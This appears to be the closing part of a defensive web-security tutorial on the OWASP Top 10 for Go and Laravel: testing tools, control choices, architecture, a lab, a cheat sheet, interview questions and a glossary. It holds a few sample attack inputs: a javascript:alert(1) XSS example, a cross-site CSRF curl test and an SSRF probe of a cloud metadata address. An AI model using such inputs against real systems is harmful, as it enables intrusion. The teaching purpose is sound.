Unique constraintcoupon_onceRace-proof for one-time actionsHandle duplicate-key error (SQLSTATE 23505, MySQL 1062)
Conditional updateWHERE balance >= $amountNo lock held across the requestRule must fit in WHERE
Row lockSELECT ... FOR UPDATE in a transactionArbitrary logicWaits and deadlocks
Idempotency keyUnique (user_id, key)Safe client retriesStorage

Testing: SAST, DAST, IAST, scanners and bug bounties ​

KindWhat it doesToolsFinds wellMisses
SAST (static)Reads source, follows taint from input to sinksemgrep, gosec, CodeQL, SonarQube, PHPStan/Larastan with security rules, Psalm taint analysisConcatenated SQL, exec, unserialize, template.HTMLAuthorization logic, config
SCAMatches dependencies to advisoriesgovulncheck, composer audit, Dependabot, Renovate, Trivy, SnykKnown CVEsUnknown bugs in your code
DAST (dynamic)Attacks the running app over HTTPOWASP ZAP (baseline and full scans), Burp Suite Scanner, NucleiMissing headers, reflected XSS, SQLi, misconfigIDOR, business logic
IAST (interactive)Agent inside the running app watches tainted data reach sinks during testsContrast Security, SeekerReal data flows with low false positivesCode paths not exercised
Manual testingA human with a proxyBurp Suite (Repeater, Intruder, Autorize-style replays), ZAP manualIDOR, logic, chained bugsScale
Secret scanningFinds keys in git historygitleaks, GitHub secret scanning and push protectionCommitted credentialsSecrets outside git
Bug bountyPaid external researchers under rulesHackerOne, Bugcrowd, Intigriti, self-hosted security.txt + VDPWhatever your tools missedNeeds triage capacity
 1  developer pushes -> pre-commit: gitleaks
 2  CI: gofmt/vet, go test -race, gosec, govulncheck, phpstan, composer audit, semgrep --error
 3  staging deploy -> ZAP baseline scan (passive, headers, cookies) -> fail on high
 4  weekly: ZAP full scan / Burp scan of staging with two test accounts
 5  release: SBOM attached, image signed
 6  production: bug bounty / VDP (security.txt), CSP reports, WAF logs -> triage queue

Bug bounty basics. Start with a vulnerability disclosure policy (VDP) and an RFC 9116 /.well-known/security.txt file with a contact and policy link; define scope (domains, apps, out-of-scope issues such as missing headers on marketing sites), safe harbour language, response times and severity (CVSS) to payout mapping; move to a paid programme only when you can triage within days. Duplicate reports and "beg bounties" (automated low-value reports) are normal; a clear policy saves time.

Choosing ​

SituationPrimary controlExtra techniqueReason
Any SQLPlaceholdersAllowlist identifiers; least-privilege roleRemoves the class
Search, filters, sortwhereLike / bound LIKE + sort mapEscape % and _Sort columns cannot be bound
Server-rendered HTMLAuto-escaping templatesNonce CSPEscaping first, CSP catches misses
User rich textSanitiser allowlistCSP, separate domain for user contentEscaping would destroy formatting
SPA with heavy DOM codeFramework binding (no innerHTML)Trusted Types, DOMPurifyDOM XSS is invisible to the server
Cookie-authenticated formsSec-Fetch-Site + synchronizer tokenSameSite=LaxLayers for old browsers and same-site attackers
Token-authenticated API (Authorization header)No CSRF token neededStrict CORS allowlistNo ambient credentials
Fetching user URLsDialer IP check + allowlistEgress proxy, IMDSv2Only connect-time checks stop rebinding
UploadsContent sniffing + pixel cap + private storageRe-encode images, AV scanName, type and content are all attacker-chosen
Object access by idOwner-scoped query / policyRLS, 404 on foreign idsIDOR is the top category
Money, stock, couponsAtomic conditional write, unique keysIdempotency keysRaces are business logic, not HTTP
Data round-tripping through the clientHMAC-signed JSONExpiry and key idNative deserialization is code execution
Dependenciesgovulncheck / composer audit in CIRenovate, SBOMKnown CVEs are the cheapest attacks
Errors and debugAPP_DEBUG=false, generic errorsFail closedError pages leak secrets

In architecture: from a single process to a distributed system ​

Monolith: one process, one database ​

All ten categories live in one codebase, which is the easiest place to fix them: one CSRF middleware, one headers middleware, one policy layer, one database role. Example: a Laravel monolith with Blade views gets XSS escaping, CSRF and bindings by default; the review checklist is "where did we leave the defaults" (raw echoes, whereRaw, $request->all(), storeAs with user names, APP_DEBUG). Run SAST and SCA in the one pipeline and you cover most of the code surface.

Modular monolith: boundaries without the network ​

Modules call each other in-process, and authorization tends to be checked only at the HTTP edge. Example: the Billing module exposes InvoiceService::find($id) to the Support module; a support agent's screen calls it with any id, bypassing the policy that the HTTP controller applied. Fix: authorization at the module API (pass the actor, check the policy inside), not only at the controller; shared security middleware and a shared SafeHttpClient as platform code that every module must use.

Microservices: every arrow is a decision ​

The edge (API gateway, BFF) handles TLS, WAF, rate limits, CORS and authentication; each service must still authorize, because internal callers can be compromised or confused (the confused deputy). Example flow: browser → gateway (validates the session, issues a short-lived internal JWT with sub and tenant) → orders service (checks that the order belongs to tenant) → pdf-renderer (fetches images: SSRF risk, so it runs in an isolated subnet with an egress proxy and no cloud credentials). Message payloads between services are data contracts (JSON/protobuf with schema validation), never native serialized objects. Request smuggling lives at the seams between proxies; keep HTTP/2 end to end. Service-to-service identity is in Mutual TLS and the gateway in API gateway, BFF and service mesh.

Distributed data: replicas, caches, regions ​

Injection and access-control bugs travel with the data: a stored XSS payload replicated to every region and cached at the CDN is served from the edge for hours; purge the CDN as part of the fix. Caches can leak across users when the cache key ignores identity (web cache deception: /account/profile.css cached publicly); set Cache-Control: private, no-store on personal responses and include the user in keys. Search indexes and analytics copies need the same tenant filter as the primary database (an IDOR in the search service is still an IDOR). Race conditions get worse with replicas: a balance check against a lagging replica approves a double spend; checks that guard money must read the primary inside the write. CDN behaviour is in CDN.

Scaling path: 1x, 10x, 100x ​

ScaleWhat changes
1x (one team, one app)Framework defaults, headers middleware, CI with gosec/semgrep/govulncheck/composer audit, APP_DEBUG=false check
10x (several teams and services)Paved road: shared libraries (SSRF client, logging, authz), gateway with WAF and rate limits, ZAP in staging, central log alerts on authz.denied and auth.login_failed
100x (platform, many regions)Policy engine for authorization, egress proxies per environment, SBOM and signed artifacts for every release, bug bounty, red team, security champions per team, automated purges of cached malicious content

Lab ​

Steps 1 and 2 run on this machine with the Go toolchain; all other steps are expected, not run (no Docker, no live Laravel app, no network targets).

  1. Run the Go tests (real run):
$ cd docs/snippets/system-design/owasp-top-10/go
$ go test -race -count=1 ./...
ok      academy/owasp-top-10/cmdinject
ok      academy/owasp-top-10/csrf
ok      academy/owasp-top-10/headers
ok      academy/owasp-top-10/logsafe
ok      academy/owasp-top-10/massassign
ok      academy/owasp-top-10/pathtraversal
ok      academy/owasp-top-10/redirect
ok      academy/owasp-top-10/signed
ok      academy/owasp-top-10/sqli
ok      academy/owasp-top-10/ssrf
ok      academy/owasp-top-10/upload
ok      academy/owasp-top-10/wallet
ok      academy/owasp-top-10/xss
  1. Real run: gofmt -l . and go vet ./... print nothing. Read wallet_test.go: the "before" test passes because both withdrawals succeed (the race is forced with a barrier), the "after" test shows exactly 10 of 50 parallel withdrawals succeed.
  2. Expected, not run: static analysis.
$ go install golang.org/x/vuln/cmd/govulncheck@latest && govulncheck ./...
No vulnerabilities found.
$ gosec ./...
[before.go:16] - G202 (CWE-89): SQL string concatenation (Confidence: HIGH, Severity: MEDIUM)
[before.go:22] - G201 (CWE-89): SQL string formatting (Confidence: HIGH, Severity: MEDIUM)
[pathtraversal.go:17] - G304 (CWE-22): Potential file inclusion via variable
[cmdinject.go:15] - G204 (CWE-78): Subprocess launched with variable
[ssrf/before.go:14] - G107 (CWE-88): Potential HTTP request made with variable url

The exact wording, line numbers and the set of reported issues depend on the gosec version; the point is that every "before" file is flagged and the "after" files mostly are not (the allowlisted ORDER BY concatenation may still be reported and should be annotated with #nosec G202 -- constant from allowlist).

  1. Expected, not run (Laravel app with these files): composer audit prints No security vulnerability advisories found.; php artisan test --filter=OwaspTest passes 9 tests.
  2. Expected, not run: CSRF by hand against php artisan serve over HTTPS behind a local proxy: curl -i -X POST https://app.test/me/email -H 'Sec-Fetch-Site: cross-site' -b 'laravel_session=...' -d 'email=x@example.com' returns 419 (token fallback) or 403 with originOnly: true.
  3. Expected, not run: headers. curl -sI https://app.test/ | grep -iE 'content-security|strict-transport|x-content-type|referrer|permissions|x-frame' shows the six headers; two requests show different nonce- values.
  4. Expected, not run: ZAP baseline scan of staging: docker run -t ghcr.io/zaproxy/zaproxy:stable zap-baseline.py -t https://staging.example.com (run it in CI, not on a laptop against production) reports PASS: Content Security Policy (CSP) Header Not Set [10038] and similar lines once the middleware is in place.
  5. Expected, not run: SSRF probe of the Laravel guard in php artisan tinker: app(App\Services\SafeHttpClient::class)->get('https://169.254.169.254/') throws InvalidArgumentException: Destination not allowed.

Common misconceptions ​

BeliefReality
The ORM prevents SQL injectionOnly its bound methods; raw expressions and user-chosen columns are injectable
Escaping quotes is enoughParameterise; manual escaping is "STRONGLY DISCOURAGED" by OWASP
Input validation stops XSSOutput encoding per context stops XSS; validation is an extra layer
HttpOnly makes XSS harmlessScript still acts as the user
A CSP with a host allowlist is strictStrict means nonce or hash plus strict-dynamic
SameSite removes the need for CSRF tokensSame-site attackers, GET side effects and old browsers remain
CORS protects the APIIt controls which pages may read responses; requests are still sent
UUIDs prevent IDORUnguessable is not authorised
SSRF needs a firewall holeIt uses your server inside the firewall
Hostname allowlists stop SSRFDNS rebinding and redirects bypass them; check the IP at connect time
allowed_classes => false makes unserialize safePHP: never pass untrusted input, regardless of the option
The upload's Content-Type tells us the typeThe client sets it; sniff and decode
300 SCA findings means 300 risksReachability decides; use govulncheck
Debug mode is harmless if the URL is secretAny error renders it; secrets leak
A WAF is a fixIt is a delay; fix the code

Cheat sheet ​

TopicRemember
Which list2021 in most contracts; 2025 is current (SSRF in A01, Supply Chain A03, Exceptional Conditions A10)
SQLPlaceholders for values, allowlist for identifiers, least-privilege role
Laravel SQL trapswhereRaw, orderByRaw, DB::raw, selectRaw without bindings; columns from input
XSSEncode per context; html/template and Blade double-curly echo; raw echo only for sanitised HTML
CSPscript-src 'nonce-R' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'
DOM XSSTrusted Types + DOMPurify; no innerHTML with strings
HeadersHSTS 2y, nosniff, strict-origin-when-cross-origin, Permissions-Policy, X-Frame-Options: DENY, X-XSS-Protection: 0
CSRFSec-Fetch-Site/Origin + synchronizer token; SameSite=Lax; 419 in Laravel
Access controlOwner-scoped queries, policies, deny by default, 404 for foreign ids
SSRFhttps only, allowlist, dialer IP check, re-check redirects, Proxy: nil, IMDSv2, egress control
Mass assignment#[Fillable] / input DTO + DisallowUnknownFields
RacesConditional UPDATE ... WHERE balance >= $1, unique constraints, idempotency keys
UploadsSniff, size cap, pixel cap, random name, private storage, nosniff, no SVG
DeserializationJSON + HMAC; never unserialize/pickle/ObjectInputStream on input
Supply chaingovulncheck, composer audit, Renovate/Dependabot, SBOM, SRI, pinned CI actions
LoggingJSON logs, security events, redaction, alerts on rates

Self-check: questions & answers ​

Show:
  • Must-know asked in almost every interview
  • Important frequent; expected at senior level
  • Good to know extra depth that sets you apart

1 — Why can a sort column not be passed as a bound parameter, and what do you do instead? Must-know ​

Answer

Answer: Placeholders carry values, not identifiers or keywords; the SQL structure must be known when the statement is prepared. Map the public sort key to an application-owned column and direction (an allowlist) and reject anything else before building the query.

2 — What is second-order SQL injection, and why do "safe" inserts not prevent it? Important ​

Answer

Answer: The payload is stored safely with bindings, then later read back and concatenated into another query by code that trusts "our own data". The fix is to bind at every query, including those built from stored values.

3 — A page renders <a href="USER_URL">. The template escapes HTML. Is it safe? Must-know ​

Answer

Answer: No: javascript:alert(1) contains no HTML metacharacters. Validate the scheme (https:) before rendering; Go's html/template replaces unsafe schemes with #ZgotmplZ, Blade does not, so check it yourself.

4 — What does strict-dynamic add to a nonce-based CSP, and what does it cost? Important ​

Answer

Answer: Scripts loaded by an already trusted (nonced) script are trusted too, so bundles and loaders work without host lists. The cost: if trusted code creates scripts from attacker-controlled data, CSP will not stop them.

5 — Why does a hostname allowlist not stop SSRF on its own, and where must the IP check run? Must-know ​

Answer

Answer: DNS can answer differently between the check and the connection (rebinding), and redirects can leave the allowed host. Check the resolved IP at connect time (Go net.Dialer.Control, or pin the validated IP with CURLOPT_RESOLVE) and re-check each redirect.

6 — Your Laravel feature test for CSRF returns 200 instead of 419. Why? Important ​

Answer

Answer: Laravel disables the CSRF middleware when running tests. Assert that PreventRequestForgery is in the web group, and verify the 419 with a real request.

7 — Give two reasons the 2025 list moved SSRF into A01. Good to know ​

Answer

Answer: SSRF had a single CWE and low incidence in the data; OWASP said in 2021 it hoped such entries "can be rolled into a larger category in a future edition". It is also an access-control failure: the server reaches resources the user should not.

8 — Two parallel requests redeem one coupon. Name a database-level fix that needs no lock. Must-know ​

Answer

Answer: A unique index on (coupon_id, user_id) in a redemptions table: the second insert fails with a duplicate-key error (SQLSTATE 23505 / MySQL 1062). For balances, a conditional UPDATE ... WHERE balance >= amount and checking the affected rows.

9 — Why is unserialize() on a cookie remote code execution even if your own classes are harmless? Must-know ​

Answer

Answer: It can instantiate any autoloadable class, including vendor classes whose magic methods (__destruct, __wakeup) form a gadget chain to file writes or code execution; tools like phpggc catalogue them.

10 — An upload passes the extension check and has Content-Type: image/png. List four further checks. Must-know ​

Answer

Answer: Sniff the content (magic bytes) and decode the header; cap the decoded dimensions (image bomb); size limit before parsing; generate the stored name; store outside the web root or on a private bucket; serve with nosniff and Content-Disposition: attachment; reject SVG.

11 — When does an API not need CSRF tokens? Must-know ​

Answer

Answer: When it does not use ambient credentials: authentication comes in an Authorization header set by JavaScript, not in cookies or HTTP auth. Keep a strict CORS policy so other origins cannot read responses.

12 — What is the difference between SAST, DAST and IAST in one sentence each? Important ​

Answer

Answer: SAST reads the source code without running it; DAST attacks the running application from outside over HTTP; IAST instruments the running application and watches tainted data reach sinks while tests or traffic exercise it.

Glossary ​

TermMeaning
OWASP Top 10OWASP's awareness list of the ten most critical web application risk categories (2021, 2025)
CWECommon Weakness Enumeration, MITRE's catalogue of weakness types; CWE Top 25 ranks them
OWASP ASVSApplication Security Verification Standard: testable security requirements
Broken access controlUsers can act outside their permissions (A01)
IDORInsecure direct object reference: access to an object by changing its id (CWE-639)
Privilege escalationGaining another user's (horizontal) or a higher role's (vertical) rights
Force browsingRequesting unlinked URLs that lack checks
Path traversal../ in a file name escapes the intended directory (CWE-22)
CORS misconfigurationAllowing untrusted origins to read credentialed responses
Cryptographic failuresMissing or broken protection of data in transit or at rest (A02:2021)
InjectionUntrusted data interpreted as code by an interpreter (A03:2021)
SQL injectionInput changes the syntax of an SQL statement (CWE-89)
Prepared statementStatement compiled first, values bound later
Parameterised queryQuery with placeholders ($1, ?) whose values are sent separately
Second-order injectionStored data later concatenated into a query
NoSQL injectionInjection into document-store queries, often via JSON operators
Operator injectionSupplying $ne, $gt, $regex where a scalar was expected
Command injectionInput changes a shell command (CWE-78)
Argument injectionInput becomes an option (-o...) of a program run without a shell
LDAP injectionInput changes an LDAP search filter
Template injection (SSTI)Input becomes template source and runs on the server
XSSCross-site scripting: attacker script runs in your origin (CWE-79)
Reflected XSSPayload in the request echoed in the response
Stored XSSPayload saved and shown to other users
DOM XSSClient JavaScript moves a source into a dangerous sink
Output encodingConverting data so it is inert in the target context
Context-aware escapingChoosing the encoding by where the value lands (HTML, attribute, URL, JS, CSS)
Content Security PolicyResponse header restricting scripts, frames and other resources
CSP nonceRandom per-response value that marks allowed scripts
strict-dynamicCSP keyword trusting scripts loaded by trusted scripts
Trusted TypesBrowser API forcing DOM sinks to accept only policy-created values
SanitiserLibrary removing dangerous markup from HTML (DOMPurify, HTML Purifier, bluemonday)
Insecure designFlaws in the design rather than the implementation (A04:2021)
Threat modellingSystematic search for threats per data flow (e.g. STRIDE)
Security misconfigurationUnsafe defaults, debug, open storage, missing headers (A05:2021)
Default credentialsFactory usernames and passwords left enabled
Debug modeDevelopment error output enabled in production
APP_DEBUGLaravel environment variable controlling detailed error pages
Directory listingWeb server shows directory contents
XXEXML external entity: XML parser reads files or URLs named in a DTD
Security headersHSTS, CSP, nosniff, Referrer-Policy, Permissions-Policy, frame-ancestors and friends
HSTSStrict-Transport-Security: browser uses HTTPS only for a period
X-Content-Type-Optionsnosniff: disables MIME sniffing
Referrer-PolicyControls how much of the URL is sent as Referer
Permissions-PolicyDisables browser features (camera, geolocation) per page
frame-ancestorsCSP directive listing who may frame the page
ClickjackingTricking clicks through an invisible frame
Vulnerable componentsDependencies with known vulnerabilities (A06:2021)
Software supply chain failuresA03:2025: compromises in dependencies, builds and distribution
SCASoftware composition analysis: dependency-to-advisory matching
DependabotGitHub's dependency alerts and update pull requests
RenovateDependency update bot with grouping, schedules and automerge
composer auditComposer command checking installed packages against advisories
govulncheckGo tool reporting reachable known vulnerabilities
SBOMSoftware bill of materials (CycloneDX, SPDX)
Authentication failuresWeak login, session or recovery (A07)
Software and data integrityTrusting code or data without verifying origin (A08)
Insecure deserializationDecoding attacker data into live objects (CWE-502)
unserializePHP function recreating objects from a serialized string
Gadget chainExisting class methods chained by a deserialized object graph
Signed payloadData with an HMAC or signature checked before use
SRISubresource Integrity: integrity hash on scripts and styles
CI/CD integrityPinned, reviewed, signed builds and deployments
Logging failuresMissing, unusable or unalerted security logs (A09)
Log injectionCR/LF or markup in input forging or corrupting log entries (CWE-117)
SSRFServer-side request forgery: server fetches an attacker-chosen URL (CWE-918)
Metadata endpointCloud instance metadata service, e.g. 169.254.169.254
IMDSv2AWS metadata service requiring a PUT-issued session token
DNS rebindingDNS answer changes between validation and connection
AllowlistExplicit list of permitted values; everything else is denied
Egress controlRestricting outbound network traffic
Mishandling of exceptional conditionsA10:2025: unsafe behaviour on errors and abnormal states
Fail open / fail closedOn error, allow (unsafe) or deny (safe)
CSRFCross-site request forgery using ambient credentials (CWE-352)
Synchronizer tokenPer-session secret echoed in forms or headers
SameSiteCookie attribute limiting cross-site sending
Fetch MetadataSec-Fetch-Site and related request headers set by browsers
Open redirectRedirect to an attacker-chosen external URL (CWE-601)
Mass assignmentBinding request fields to model fields wholesale
fillable / guardedLaravel allowlist / denylist for mass assignment
TOCTOUTime-of-check to time-of-use race
Race conditionOutcome depends on the timing of concurrent requests
Double spendSpending one balance or token twice through a race
File upload vulnerabilitiesUploads that execute, traverse, sniff or exhaust resources
Content sniffingBrowser guessing a type different from the declared one
Image bombSmall image declaring huge dimensions (pixel flood)
Request smugglingFront and back end disagree on request boundaries
CL.TE / TE.CLSmuggling variants by which server uses Content-Length or Transfer-Encoding
Header injectionCR/LF in input adds headers (response splitting, CWE-113)
Prototype pollutionWriting to Object.prototype through crafted keys (CWE-1321)
Business-logic abuseUsing valid functionality in harmful ways
SASTStatic application security testing
DASTDynamic application security testing
IASTInteractive application security testing
ZAPOWASP Zed Attack Proxy, open-source DAST and proxy
BurpBurp Suite, PortSwigger's testing proxy and scanner
semgrepPattern and taint-based static analysis tool
gosecGo security static analyser
PHPStanPHP static analyser (Larastan for Laravel)
Bug bountyPaid programme rewarding external vulnerability reports
VDPVulnerability disclosure policy

References ​

Built by Morteza Negahi